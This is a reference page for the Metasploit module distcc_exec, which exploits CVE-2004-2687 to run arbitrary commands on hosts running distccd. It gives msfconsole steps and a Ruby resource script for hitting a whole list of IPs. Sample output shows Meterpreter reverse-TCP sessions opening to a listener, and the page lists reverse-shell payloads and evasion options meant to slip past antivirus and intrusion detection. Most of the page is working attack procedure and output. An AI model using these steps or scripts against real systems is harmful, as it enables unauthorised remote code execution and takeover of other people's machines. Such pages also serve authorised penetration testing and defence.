DistCC Daemon Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/misc/distcc_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DistCC Daemon Command Execution
Module: exploit/unix/misc/distcc_exec
Source code: modules/exploits/unix/misc/distcc_exec.rb
Disclosure date: 2002-02-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 3632
List of CVEs: CVE-2004-2687
This module uses a documented security weakness to execute arbitrary commands on any system running distccd.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using distcc_exec against a single host
Normally, you can use exploit/unix/misc/distcc_exec this way:
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > show targets
... a list of targets ...
msf exploit(distcc_exec) > set TARGET target-id
msf exploit(distcc_exec) > show options
... show and set options ...
msf exploit(distcc_exec) > exploit
Using distcc_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your distcc_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/misc/distcc_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/misc/distcc_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > show info
Name: DistCC Daemon Command Execution
Module: exploit/unix/misc/distcc_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2002-02-01
Provided by:
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3632 yes The target port (TCP)
Payload information:
Space: 1024
Description:
This module uses a documented security weakness to execute arbitrary
commands on any system running distccd.
References:
https://nvd.nist.gov/vuln/detail/CVE-2004-2687
OSVDB (13378)
http://distcc.samba.org/security.html
Module Options
This is a complete list of options available in the unix/misc/distcc_exec exploit:
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3632 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the unix/misc/distcc_exec exploit:
msf6 exploit(unix/misc/distcc_exec) > show advanced
Module advanced options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/misc/distcc_exec module can exploit:
msf6 exploit(unix/misc/distcc_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/misc/distcc_exec exploit:
msf6 exploit(unix/misc/distcc_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
3 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
4 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
5 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
6 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
7 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
9 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
10 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
11 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
12 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
13 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/misc/distcc_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/misc/distcc_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The remote distccd did not reply to our request
Here is a relevant code snippet related to the "The remote distccd did not reply to our request" error message:
92: def read_output
93:
94: res = sock.get_once(24, 5)
95:
96: if !(res and res.length == 24)
97: print_status("The remote distccd did not reply to our request")
98: disconnect
99: return
100: end
101:
102: # Check STDERR
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #504 Merged Pull Request: Add a check for distcc_exec
References
- CVE-2004-2687
- OSVDB (13378)
- http://distcc.samba.org/security.html
See Also
Check also the following modules related to this module:
- exploit/unix/misc/polycom_hdx_auth_bypass
- exploit/unix/misc/polycom_hdx_traceroute_exec
- exploit/unix/misc/spamassassin_exec
- exploit/unix/misc/xerox_mfp
- exploit/unix/misc/zabbix_agent_exec
Related Nessus plugins:
Authors
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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